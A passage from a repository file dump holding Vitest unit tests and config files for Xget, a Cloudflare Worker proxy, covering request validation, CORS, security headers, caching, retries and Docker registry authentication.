({\n        headers: new Headers(),\n        method: 'GET',\n        url: 'https://example.com/gh/user/repo/%00file'\n      });\n      const url = /** @type {URL} */ ({\n        origin: 'https://example.com',\n        pathname: '/gh/user/repo/\\u0000file',\n        searchParams: baseUrl.searchParams\n      });\n\n      const result = validateRequest(request, url, createConfig());\n      expect(result.valid).toBe(false);\n      expect(result.status).toBe(400);\n    });\n\n    it('should reject malformed percent-encoded paths', () => {\n      const baseUrl = new URL('https://example.com/gh/user/repo/%E0%A4%A');\n      const request = /** @type {Request} */ ({\n        headers: new Headers(),\n        method: 'GET',\n        url: 'https://example.com/gh/user/repo/%E0%A4%A'\n      });\n      const url = /** @type {URL} */ ({\n        origin: 'https://example.com',\n        pathname: '/gh/user/repo/%E0%A4%A',\n        searchParams: baseUrl.searchParams\n      });\n\n      const result = validateRequest(request, url, createConfig());\n      expect(result.valid).toBe(false);\n      expect(result.status).toBe(400);\n    });\n\n    it('should reject unsupported methods for regular requests', () => {\n      const request = new Request('https://example.com/gh/user/repo/file.txt', { method: 'PATCH' });\n      const url = new URL(request.url);\n\n      const result = validateRequest(request, url, createConfig());\n      expect(result.valid).toBe(false);\n      expect(result.status).toBe(405);\n    });\n\n    it('should reject paths longer than the configured maximum', () => {\n      const request = new Request(`https://example.com/gh/${'a'.repeat(200)}`);\n      const url = new URL(request.url);\n\n      const result = validateRequest(request, url, createConfig({ MAX_PATH_LENGTH: '32' }));\n      expect(result.valid).toBe(false);\n      expect(result.status).toBe(414);\n    });\n  });\n\n  describe('getAllowedMethods', () => {\n    it('should respect configured methods for regular requests', () => {\n      const config = createConfig({ ALLOWED_METHODS: 'GET,HEAD,POST' });\n      const request = new Request('https://example.com/gh/test/repo/issues', { method: 'POST' });\n      const url = new URL(request.url);\n\n      expect(getAllowedMethods(request, url, config)).toEqual(['GET', 'HEAD', 'POST']);\n    });\n\n    it('should allow mutating methods for Hugging Face API endpoints', () => {\n      const request = new Request('https://example.com/hf/token', { method: 'DELETE' });\n      const url = new URL(request.url);\n\n      expect(getAllowedMethods(request, url)).toEqual([\n        'GET',\n        'HEAD',\n        'POST',\n        'PUT',\n        'PATCH',\n        'DELETE'\n      ]);\n    });\n  });\n\n  describe('isDockerRequest', () => {\n    it('should identify canonical registry API paths', () => {\n      const request = new Request('https://example.com/cr/ghcr/v2/demo/manifests/latest');\n      const url = new URL(request.url);\n\n      expect(isDockerRequest(request, url)).toBe(true);\n    });\n\n    it('should identify Docker requests by user agent or manifest headers', () => {\n      const userAgentRequest = new Request('https://example.com/cr/docker/library/nginx', {\n        headers: { 'User-Agent': 'docker/27.0.0' }\n      });\n      const acceptRequest = new Request('https://example.com/cr/docker/library/nginx', {\n        headers: { Accept: 'application/vnd.oci.image.manifest.v1+json' }\n      });\n      const contentTypeRequest = new Request('https://example.com/cr/docker/library/nginx', {\n        headers: { 'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json' }\n      });\n\n      expect(isDockerRequest(userAgentRequest, new URL(userAgentRequest.url))).toBe(true);\n      expect(isDockerRequest(acceptRequest, new URL(acceptRequest.url))).toBe(true);\n      expect(isDockerRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);\n    });\n\n    it('should not treat generic /cr/ requests as Docker traffic without registry hints', () => {\n      const request = new Request('https://example.com/cr/docker/library/nginx/readme');\n      const url = new URL(request.url);\n\n      expect(isDockerRequest(request, url)).toBe(false);\n    });\n  });\n\n  describe('addSecurityHeaders', () => {\n    it('should add all required security headers', () => {\n      const headers = new Headers();\n      const result = addSecurityHeaders(headers);\n\n      expect(result.get('Strict-Transport-Security')).toContain('max-age=31536000');\n      expect(result.get('X-Frame-Options')).toBe('DENY');\n      expect(result.get('X-XSS-Protection')).toBe('1; mode=block');\n      expect(result.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');\n      expect(result.get('Content-Security-Policy')).toContain(\"default-src 'none'\");\n      expect(result.get('Permissions-Policy')).toContain('interest-cohort=()');\n    });\n\n    it('should return the same Headers object', () => {\n      const headers = new Headers();\n      const result = addSecurityHeaders(headers);\n\n      expect(result).toBe(headers);\n    });\n  });\n\n  describe('resolveAllowedOrigin', () => {\n    it('should return the matching origin from the production config', () => {\n      const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });\n      const request = new Request('https://example.com/gh/test/repo', {\n        headers: { Origin: 'https://app.example.com' }\n      });\n\n      expect(resolveAllowedOrigin(request, config)).toBe('https://app.example.com');\n    });\n\n    it('should reject origins that are not configured', () => {\n      const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });\n      const request = new Request('https://example.com/gh/test/repo', {\n        headers: { Origin: 'https://evil.example.com' }\n      });\n\n      expect(resolveAllowedOrigin(request, config)).toBeNull();\n    });\n\n    it('should allow any origin when wildcard CORS is configured', () => {\n      const config = createConfig({ ALLOWED_ORIGINS: '*' });\n      const request = new Request('https://example.com/gh/test/repo', {\n        headers: { Origin: 'https://app.example.com' }\n      });\n\n      expect(resolveAllowedOrigin(request, config)).toBe('*');\n    });\n  });\n\n  describe('addCorsHeaders', () => {\n    it('should append allow headers and preserve existing Vary values', () => {\n      const config = createConfig({ ALLOWED_ORIGINS: '*' });\n      const request = new Request('https://example.com/gh/test/repo', {\n        headers: {\n          Origin: 'https://app.example.com',\n          'Access-Control-Request-Headers': 'X-Test-Header'\n        }\n      });\n\n      const headers = addCorsHeaders(new Headers({ Vary: 'Accept-Encoding' }), request, config);\n\n      expect(headers.get('Access-Control-Allow-Origin')).toBe('*');\n      expect(headers.get('Access-Control-Allow-Headers')).toBe('X-Test-Header');\n      expect(headers.get('Vary')).toBe('Accept-Encoding, Origin');\n    });\n  });\n\n  describe('createErrorResponse', () => {\n    it('should create a plain-text error response with security headers', async () => {\n      const response = createErrorResponse('Bad Request', 400);\n\n      expect(response.status).toBe(400);\n      expect(response.headers.get('Content-Type')).toBe('text/plain');\n      expect(response.headers.get('X-Frame-Options')).toBe('DENY');\n      expect(await response.text()).toBe('Bad Request');\n    });\n\n    it('should create detailed JSON error responses when requested', async () => {\n      const response = createErrorResponse('Unauthorized', 401, true);\n      const body = await response.json();\n\n      expect(response.headers.get('Content-Type')).toBe('application/json');\n      expect(body).toMatchObject({\n        error: 'Unauthorized',\n        status: 401\n      });\n      expect(body.timestamp).toBeTruthy();\n    });\n  });\n});\n"
  },
  {
    "path": "test/unit/worker-regressions.test.js",
    "content": "import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';\n\nimport worker from '../../src/index.js';\n\n/** @type {ExecutionContext} */\nconst executionContext = {\n  waitUntil() {},\n  passThroughOnException() {}\n};\n\ndescribe('Worker regression coverage', () => {\n  /** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */\n  let cacheDefault;\n\n  beforeEach(() => {\n    cacheDefault = {\n      match: vi.fn(async () => null),\n      put: vi.fn(async () => undefined)\n    };\n\n    vi.stubGlobal('caches', {\n      default: cacheDefault\n    });\n  });\n\n  afterEach(() => {\n    vi.unstubAllGlobals();\n    vi.restoreAllMocks();\n  });\n\n  it('does not leak thrown upstream error details to clients', async () => {\n    vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('secret-upstream-detail'));\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      { MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },\n      executionContext\n    );\n\n    const body = await response.text();\n\n    expect(response.status).toBe(502);\n    expect(body).not.toContain('secret-upstream-detail');\n    expect(body).not.toContain('Failed after');\n  });\n\n  it('clears timeout handles when upstream fetch rejects', async () => {\n    const timeoutToken = { id: 'timeout-token' };\n    const setTimeoutSpy = vi.fn(() => timeoutToken);\n    const clearTimeoutSpy = vi.fn();\n\n    vi.stubGlobal('setTimeout', setTimeoutSpy);\n    vi.stubGlobal('clearTimeout', clearTimeoutSpy);\n    vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('boom'));\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      { MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '5' },\n      executionContext\n    );\n\n    expect(response.status).toBe(502);\n    expect(setTimeoutSpy).toHaveBeenCalled();\n    expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);\n  });\n\n  it('does not cache host-bound PyPI rewritten HTML responses', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('<a href=\"https://files.pythonhosted.org/packages/demo.whl\">demo</a>', {\n        status: 200,\n        headers: { 'Content-Type': 'text/html; charset=utf-8' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://mirror.example/pypi/simple/demo/'),\n      {},\n      executionContext\n    );\n\n    const body = await response.text();\n\n    expect(response.status).toBe(200);\n    expect(body).toContain('https://mirror.example/pypi/files/packages/demo.whl');\n    expect(response.headers.get('Cache-Control')).toBe('no-store');\n    expect(cacheDefault.put).not.toHaveBeenCalled();\n  });\n\n  it('forwards body and content type for configured non-protocol POST requests', async () => {\n    /** @type {{ url: string, method: string | undefined, body: string | null, contentType: string | null, cf: unknown }} */\n    let observed = {\n      url: '',\n      method: undefined,\n      body: null,\n      contentType: null,\n      cf: undefined\n    };\n\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {\n      observed = {\n        url: String(input),\n        method: init?.method,\n        body: init?.body ? await new Response(init.body).text() : null,\n        contentType: new Headers(init?.headers).get('Content-Type'),\n        cf: /** @type {RequestInit & { cf?: unknown }} */ (init || {}).cf\n      };\n\n      return new Response('created', {\n        status: 201,\n        headers: { 'Content-Type': 'text/plain' }\n      });\n    });\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/issues', {\n        method: 'POST',\n        headers: { 'Content-Type': 'application/json' },\n        body: JSON.stringify({ title: 'test' })\n      }),\n      { ALLOWED_METHODS: 'GET,HEAD,POST' },\n      executionContext\n    );\n\n    expect(response.status).toBe(201);\n    expect(observed).toEqual({\n      url: 'https://github.com/user/repo/issues',\n      method: 'POST',\n      body: JSON.stringify({ title: 'test' }),\n      contentType: 'application/json',\n      cf: undefined\n    });\n    expect(fetchSpy).toHaveBeenCalledTimes(1);\n    expect(cacheDefault.match).not.toHaveBeenCalled();\n    expect(response.headers.get('Cache-Control')).toBe('no-store');\n  });\n\n  it('returns Docker registry version metadata for /v2/ probes', async () => {\n    const response = await worker.fetch(\n      new Request('https://example.com/v2/'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');\n    expect(response.headers.get('X-Performance-Metrics')).toBeNull();\n    expect(await response.text()).toBe('{}');\n  });\n\n  it('redirects unknown platforms and bare platform prefixes to the homepage', async () => {\n    const unknownPlatform = await worker.fetch(\n      new Request('https://example.com/not-a-platform/resource'),\n      {},\n      executionContext\n    );\n    const barePlatform = await worker.fetch(\n      new Request('https://example.com/gh/', { method: 'GET' }),\n      {},\n      executionContext\n    );\n\n    expect(unknownPlatform.status).toBe(302);\n    expect(unknownPlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');\n    expect(barePlatform.status).toBe(302);\n    expect(barePlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');\n  });\n\n  it('rejects Docker requests that do not use a /cr/ prefix', async () => {\n    const response = await worker.fetch(\n      new Request('https://example.com/v2/library/nginx/manifests/latest'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(400);\n    expect(await response.text()).toContain('/cr/ prefix');\n  });\n\n  it('rejects disallowed CORS preflight methods before proxying upstream', async () => {\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo', {\n        method: 'OPTIONS',\n        headers: {\n          Origin: 'https://app.example.com',\n          'Access-Control-Request-Method': 'POST'\n        }\n      }),\n      { ALLOWED_ORIGINS: 'https://app.example.com' },\n      executionContext\n    );\n\n    expect(response.status).toBe(405);\n    expect(await response.text()).toBe('Method not allowed');\n  });\n\n  it('serves cached responses without proxying upstream', async () => {\n    cacheDefault.match.mockResolvedValueOnce(\n      new Response('cached-body', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('should-not-run', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      {},\n      executionContext\n    );\n    const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');\n\n    expect(response.status).toBe(200);\n    expect(await response.text()).toBe('cached-body');\n    expect(metrics).toHaveProperty('cache_hit');\n    expect(fetchSpy).not.toHaveBeenCalled();\n  });\n\n  it('reuses cached full content for range requests when a ranged entry is absent', async () => {\n    cacheDefault.match.mockResolvedValueOnce(null).mockResolvedValueOnce(\n      new Response('full-body', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('should-not-run', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt', {\n        headers: { Range: 'bytes=0-3' }\n      }),\n      {},\n      executionContext\n    );\n    const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');\n\n    expect(response.status).toBe(200);\n    expect(await response.text()).toBe('full-body');\n    expect(metrics).toHaveProperty('cache_hit_full_content');\n    expect(fetchSpy).not.toHaveBeenCalled();\n  });\n\n  it('falls back to upstream fetch when cache lookup throws', async () => {\n    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});\n    cacheDefault.match.mockRejectedValueOnce(new Error('cache-down'));\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('ok', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(fetchSpy).toHaveBeenCalledTimes(1);\n    expect(warnSpy).toHaveBeenCalledWith('Cache API unavailable:', expect.any(Error));\n  });\n\n  it('configures Git passthrough headers for upload-pack requests', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('', {\n        status: 200,\n        headers: { 'Content-Type': 'application/x-git-upload-pack-result' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo.git/git-upload-pack', {\n        method: 'POST'\n      }),\n      {},\n      executionContext\n    );\n    const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);\n\n    expect(response.status).toBe(200);\n    expect(upstreamHeaders.get('User-Agent')).toBe('git/2.34.1');\n    expect(upstreamHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');\n  });\n\n  it('derives HEAD content length from a range probe when the upstream omits it', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {\n      if (init?.method === 'HEAD') {\n        return new Response(null, {\n          status: 200,\n          headers: { 'Content-Type': 'text/plain' }\n        });\n      }\n\n      expect(new Headers(init?.headers).get('Range')).toBe('bytes=0-0');\n      return new Response(null, {\n        status: 206,\n        headers: { 'Content-Range': 'bytes 0-0/123' }\n      });\n    });\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(response.headers.get('Content-Length')).toBe('123');\n    expect(fetchSpy).toHaveBeenCalledTimes(2);\n  });\n\n  it('uses a successful GET probe to recover missing HEAD content length', async () => {\n    vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {\n      if (init?.method === 'HEAD') {\n        return new Response(null, {\n          status: 200,\n          headers: { 'Content-Type': 'text/plain' }\n        });\n      }\n\n      return new Response(null, {\n        status: 200,\n        headers: { 'Content-Length': '321' }\n      });\n    });\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(response.headers.get('Content-Length')).toBe('321');\n  });\n\n  it('wraps upstream client errors in detailed JSON responses', async () => {\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('teapot', {\n        status: 418,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      { MAX_RETRIES: '1', RETRY_DELAY_MS: '0' },\n      executionContext\n    );\n    const body = await response.json();\n\n    expect(response.status).toBe(418);\n    expect(body.error).toContain('Upstream server error (418): teapot');\n  });\n\n  it('retries upstream 5xx responses before succeeding', async () => {\n    const fetchSpy = vi\n      .spyOn(globalThis, 'fetch')\n      .mockResolvedValueOnce(\n        new Response('busy', {\n          status: 503,\n          headers: { 'Content-Type': 'text/plain' }\n        })\n      )\n      .mockResolvedValueOnce(\n        new Response('ok', {\n          status: 200,\n          headers: { 'Content-Type': 'text/plain' }\n        })\n      );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      { MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(fetchSpy).toHaveBeenCalledTimes(2);\n  });\n\n  it('retries rejected upstream fetches before succeeding', async () => {\n    const fetchSpy = vi\n      .spyOn(globalThis, 'fetch')\n      .mockRejectedValueOnce(new Error('temporary-network-failure'))\n      .mockResolvedValueOnce(\n        new Response('ok', {\n          status: 200,\n          headers: { 'Content-Type': 'text/plain' }\n        })\n      );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      { MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(fetchSpy).toHaveBeenCalledTimes(2);\n  });\n\n  it('times out requests when the abort timer fires', async () => {\n    const timeoutToken = { id: 'abort-timeout' };\n    const clearTimeoutSpy = vi.fn();\n\n    vi.stubGlobal(\n      'setTimeout',\n      vi.fn((callback, delay) => {\n        void delay;\n        callback();\n        return timeoutToken;\n      })\n    );\n    vi.stubGlobal('clearTimeout', clearTimeoutSpy);\n    vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {\n      if (init?.signal?.aborted) {\n        const error = new Error(`Aborted before fetching ${String(input)}`);\n        error.name = 'AbortError';\n        throw error;\n      }\n\n      return new Response('unexpected-success', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      });\n    });\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      { MAX_RETRIES: '2', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },\n      executionContext\n    );\n\n    expect(response.status).toBe(408);\n    expect(await response.text()).toBe('Request timeout');\n    expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);\n  });\n\n  it('returns a generic 500 when retry configuration prevents any upstream attempt', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('ok', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      { MAX_RETRIES: '-1' },\n      executionContext\n    );\n\n    expect(response.status).toBe(500);\n    expect(await response.text()).toBe('No response received after all retry attempts');\n    expect(fetchSpy).not.toHaveBeenCalled();\n  });\n\n  it('logs and recovers when request setup throws unexpectedly', async () => {\n    const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n    const redirectSpy = vi.spyOn(Response, 'redirect').mockImplementation(() => {\n      throw new Error('boom');\n    });\n\n    const response = await worker.fetch(new Request('https://example.com/'), {}, executionContext);\n\n    expect(response.status).toBe(500);\n    expect(await response.text()).toBe('Internal Server Error');\n    expect(errorSpy).toHaveBeenCalledWith('Error handling request:', expect.any(Error));\n    expect(redirectSpy).toHaveBeenCalled();\n  });\n\n  it('retries Docker requests with an anonymous token and follows redirects on success', async () => {\n    const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {\n      const url = String(input);\n      const headers = new Headers(init?.headers);\n\n      if (url === 'https://ghcr.io/v2/private/repo/manifests/latest') {\n        if (!headers.has('Authorization')) {\n          return new Response('', {\n            status: 401,\n            headers: {\n              'WWW-Authenticate': 'Bearer realm=\"https://ghcr.io/token\",service=\"ghcr.io\"'\n            }\n          });\n        }\n\n        expect(headers.get('Authorization')).toBe('Bearer token-123');\n        return new Response(null, {\n          status: 302,\n          headers: { Location: 'https://pkg.example.com/manifest' }\n        });\n      }\n\n      if (url.startsWith('https://ghcr.io/token')) {\n        return new Response(JSON.stringify({ token: 'token-123' }), {\n          status: 200,\n          headers: { 'Content-Type': 'application/json' }\n        });\n      }\n\n      if (url === 'https://pkg.example.com/manifest') {\n        expect(headers.get('Authorization')).toBeNull();\n        return new Response('', {\n          status: 200,\n          headers: { 'Content-Length': '0' }\n        });\n      }\n\n      throw new Error(`Unexpected fetch URL: ${url}`);\n    });\n\n    const response = await worker.fetch(\n      new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {\n        headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }\n      }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(fetchSpy).toHaveBeenCalledTimes(4);\n  });\n\n  it('warns and falls back to a Docker auth challenge when token negotiation fails', async () => {\n    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('', {\n        status: 401,\n        headers: { 'WWW-Authenticate': 'Bearer realm=\"https://ghcr.io/token\"' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {\n        headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }\n      }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(401);\n    expect(response.headers.get('WWW-Authenticate')).toBe(\n      'Bearer realm=\"https://example.com/cr/ghcr/v2/auth\",service=\"Xget\"'\n    );\n    expect(warnSpy).toHaveBeenCalledWith('Token fetch failed:', expect.any(Error));\n  });\n\n  it('returns a ranged response after caching the full upstream body', async () => {\n    cacheDefault.match\n      .mockResolvedValueOnce(null)\n      .mockResolvedValueOnce(null)\n      .mockResolvedValueOnce(\n        new Response('xy', {\n          status: 206,\n          headers: { 'Content-Range': 'bytes 0-1/6' }\n        })\n      );\n\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('xyz123', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.bin', {\n        headers: { Range: 'bytes=0-1' }\n      }),\n      {},\n      executionContext\n    );\n    const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');\n\n    expect(response.status).toBe(206);\n    expect(metrics).toHaveProperty('range_cache_hit_after_full_cache');\n  });\n\n  it('warns when cache writes fail without waitUntil support', async () => {\n    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});\n    cacheDefault.put.mockRejectedValueOnce(new Error('cache-put-down'));\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('cached', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      {},\n      /** @type {ExecutionContext} */ ({})\n    );\n\n    await Promise.resolve();\n\n    expect(response.status).toBe(200);\n    expect(warnSpy).toHaveBeenCalledWith('Cache put failed:', expect.any(Error));\n  });\n\n  it('warns when post-store cache lookups fail for range requests', async () => {\n    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});\n    cacheDefault.match\n      .mockResolvedValueOnce(null)\n      .mockResolvedValueOnce(null)\n      .mockRejectedValueOnce(new Error('range-cache-down'));\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(\n      new Response('abcdef', {\n        status: 200,\n        headers: { 'Content-Type': 'text/plain' }\n      })\n    );\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.bin', {\n        headers: { Range: 'bytes=0-1' }\n      }),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(warnSpy).toHaveBeenCalledWith('Cache put/match failed:', expect.any(Error));\n  });\n\n  it('copies upstream content length from non-standard header objects when needed', async () => {\n    const upstreamHeaders = {\n      /**\n       * Reads an upstream header value.\n       * @param {string} name\n       */\n      get(name) {\n        const header = name.toLowerCase();\n        if (header === 'content-type') {\n          return 'text/plain';\n        }\n        if (header === 'content-length') {\n          return '777';\n        }\n        return null;\n      },\n      *[Symbol.iterator]() {\n        yield ['Content-Type', 'text/plain'];\n      }\n    };\n\n    const fakeResponse = /** @type {Response} */ ({\n      body: null,\n      headers: upstreamHeaders,\n      ok: true,\n      status: 200,\n      statusText: 'OK',\n      text: async () => 'ok'\n    });\n\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(response.headers.get('Content-Length')).toBe('777');\n  });\n\n  it('warns when upstream content length cannot be read during response finalization', async () => {\n    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});\n    const upstreamHeaders = {\n      /**\n       * Reads an upstream header value.\n       * @param {string} name\n       */\n      get(name) {\n        if (name.toLowerCase() === 'content-type') {\n          return 'text/plain';\n        }\n\n        throw new Error('content-length unavailable');\n      },\n      *[Symbol.iterator]() {\n        yield ['Content-Type', 'text/plain'];\n      }\n    };\n\n    const fakeResponse = /** @type {Response} */ ({\n      body: null,\n      headers: upstreamHeaders,\n      ok: true,\n      status: 200,\n      statusText: 'OK',\n      text: async () => 'ok'\n    });\n\n    vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);\n\n    const response = await worker.fetch(\n      new Request('https://example.com/gh/user/repo/file.txt'),\n      {},\n      executionContext\n    );\n\n    expect(response.status).toBe(200);\n    expect(warnSpy).toHaveBeenCalledWith('Could not set Content-Length header:', expect.any(Error));\n  });\n});\n"
  },
  {
    "path": "test/unit/xget-skill-script.test.js",
    "content": "import { describe, expect, it } from 'vitest';\n\nimport {\n  createPlatformEntries,\n  extractPlatformsModule,\n  loadPlatformsFromSource\n} from '../../skills/xget/scripts/xget.mjs';\n\ndescribe('xget skill script', () => {\n  it('extracts platform data from the new platform catalog source', () => {\n    const source = `export const PLATFORM_CATALOG = {\n  gh: 'https://github.com',\n  'cr-ghcr': 'https://ghcr.io'\n};\n\nexport const PLATFORMS = PLATFORM_CATALOG;\n`;\n\n    expect(extractPlatformsModule(source)).toEqual({\n      gh: 'https://github.com',\n      'cr-ghcr': 'https://ghcr.io'\n    });\n  });\n\n  it('still accepts the legacy PLATFORMS object source', () => {\n    const source = `export const PLATFORMS = {\n  npm: 'https://registry.npmjs.org'\n};\n`;\n\n    expect(extractPlatformsModule(source)).toEqual({\n      npm: 'https://registry.npmjs.org'\n    });\n  });\n\n  it('loads categorized platform entries from the extracted source', () => {\n    const entries = loadPlatformsFromSource(`export const PLATFORM_CATALOG = {\n  gh: 'https://github.com',\n  'ip-openai': 'https://api.openai.com',\n  'cr-ghcr': 'https://ghcr.io'\n};\n`);\n\n    expect(entries).toEqual(\n      createPlatformEntries({\n        gh: 'https://github.com',\n        'ip-openai': 'https://api.openai.com',\n        'cr-ghcr': 'https://ghcr.io'\n      })\n    );\n  });\n});\n"
  },
  {
    "path": "tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowJs\": true,\n    \"checkJs\": true,\n    \"esModuleInterop\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"module\": \"ESNext\",\n    \"moduleResolution\": \"bundler\",\n    \"noEmit\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"target\": \"ES2022\"\n  },\n  \"exclude\": [\"node_modules\", \"dist\", \"coverage\"],\n  \"include\": [\"src/**/*\", \"test/**/*\", \"node_modules/@cloudflare/vitest-pool-workers/types/**/*\"]\n}\n"
  },
  {
    "path": "vitest.config.js",
    "content": "import { cloudflareTest } from '@cloudflare/vitest-pool-workers';\nimport { defineConfig } from 'vitest/config';\n\nexport default defineConfig({\n  plugins: [\n    cloudflareTest({\n      wrangler: { configPath: './wrangler.toml' }\n    })\n  ],\n  test: {\n    testTimeout: 60000,\n    hookTimeout: 30000\n  }\n});\n"
  },
  {
    "path": "vitest.coverage.config.js",
